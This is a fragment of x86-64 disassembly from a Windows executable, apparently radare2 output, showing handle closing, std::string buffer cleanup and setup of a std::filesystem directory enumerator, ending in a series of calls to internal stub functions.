je 0x14001b3eb
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x3c8]
cmp rax, 0x10
jb 0x14001b430
mov rcx, qword [rbp + 0x3b0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14001b42b
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14001a2a6
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140027118
mov rax, qword [rbp + 0x408]
cmp rax, 0x10
jb 0x14001b475
mov rcx, qword [rbp + 0x3f0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14001b470
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14001a2a6
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140027118
xor eax, eax
movaps xmm6, xmmword [rbp + 0x450]
add rsp, 0x4e8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov byte [rbp + 0x388], 1
mov dword [rbp + 0x38c], 0
mov ecx, 0x58
call fcn.1400270d4
movabs rcx, 0x100000001
mov qword [rax + 8], rcx
lea rcx, vtable.std::_Ref_count_obj2_struct_std::filesystem::_Dir_enum_impl_.0
mov qword [rax], rcx
lea rdi, [rax + 0x10]
xorps xmm0, xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov rcx, qword [rbp + 0x130]
mov qword [rbp + 0x130], 0xffffffffffffffff
mov qword [rax + 0x50], rcx
mov rcx, rax
add rcx, 0x30
mov qword [rbp + 0x410], rcx
movups xmm0, xmmword [rbp + 0x110]
movups xmm1, xmmword [rbp + 0x120]
movups xmmword [rax + 0x40], xmm1
mov qword [rbp + 0x418], rax
movups xmmword [rax + 0x30], xmm0
mov qword [rbp + 0x120], 0
mov qword [rbp + 0x128], 7
mov word [rbp + 0x110], 0
mov rcx, rdi
mov rdx, rsi
call fcn.14001c420
mov ebx, dword [rbp + 0x38c]
mov rsi, qword [rbp + 0x418]
jmp 0x14001a915
cmp qword [rdi + 0x38], 8
mov rsi, qword [rbp + 0x418]
jb 0x14001b56a
mov rax, qword [rdi + 0x20]
mov qword [rbp + 0x3e0], rax
mov rax, qword [rbp + 0x3e0]
movzx eax, word [rax + 2]
mov dword [0x14006f4bc], eax
jmp 0x14001af93
mov ecx, eax
call fcn.14001d2f0
call fcn.140007e10
call fcn.140007e10
call fcn.140007e10
mov qword [rbp + 0x398], rdx
call fcn.140007e10
call fcn.1400089b0
call fcn.140007e10
call fcn.140007e10
mov qword [rbp + 0x3a8], rsi
lea rdx, [rbp - 0x20]
mov ecx, ebx
call fcn.14001c730
call fcn.1400089b0
call fcn.1400089b0
call fcn.140007e10
call fcn.140007e10
call fcn.140007e10
call fcn.140007e10
call fcn.1400089b0
call fcn.1400089b0
call fcn.140018220
int3